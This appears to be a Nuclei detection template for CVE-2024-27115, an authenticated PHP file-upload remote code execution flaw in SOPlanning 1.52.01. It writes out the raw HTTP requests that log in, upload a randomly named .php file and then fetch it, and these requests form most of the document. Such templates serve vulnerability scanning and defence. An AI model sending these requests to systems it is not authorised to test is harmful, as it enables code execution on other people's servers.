id: CVE-2024-27115 info: name: SOPlanning - Remote Code Execution author: soonghee2@ajou.ac.kr severity: high description: | Detects a remote code execution vulnerability in SOPlanning version 1.52.01 through authenticated PHP file upload. impact: | Authenticated attackers can upload and execute arbitrary PHP files through the SOPlanning upload functionality, achieving remote code execution. remediation: | Update SOPlanning to a version newer than 1.52.01. reference: - https://www.exploit-db.com/exploits/52082 - https://nvd.nist.gov/vuln/detail/CVE-2024-27115 classification: cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:N/AU:Y/R:I/V:C/RE:M/U:Red cvss-score: 10.0 cve-id: CVE-2024-27115 cwe-id: CWE-434 epss-score: 0.81794 epss-percentile: 0.99219 cpe: cpe:2.3:a:soplanning:soplanning:*:*:*:*:*:*:*:* tags: cve,cve2024,soplanning,rce,authenticated,file-upload,intrusive,vuln variables: username: "{{username}}" password: "{{password}}" filename: "{{rand_base(5)}}" http: - raw: - | POST /process/login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded login={{username}}&password={{password}} - | POST /process/upload.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=0ccdfeede39eb97743b39d87536933e1 --0ccdfeede39eb97743b39d87536933e1 Content-Disposition: form-data; name="linkid" soonghee --0ccdfeede39eb97743b39d87536933e1 Content-Disposition: form-data; name="periodeid" 0 --0ccdfeede39eb97743b39d87536933e1 Content-Disposition: form-data; name="fichiers" {{randstr}}.php --0ccdfeede39eb97743b39d87536933e1 Content-Disposition: form-data; name="type" upload --0ccdfeede39eb97743b39d87536933e1 Content-Disposition: form-data; name="fichier-0"; filename="{{filename}}.php" Content-Type: application/x-php --0ccdfeede39eb97743b39d87536933e1-- - | GET /upload/files/soonghee/{{filename}}.php HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_3 words: - '{{randstr}}' - type: word part: header words: - 'text/html' - type: status status: - 200 # digest: 490a00463044022014ef09795a16cb9d50dde6cd93fc9db5a61797e16ad8601aa1bcd04e3686fbb902207438072a20b765d2f513fb5e432095fe7cee6de692a722ce03464d5ba4589441:922c64590222798bb761d5b6d8e72950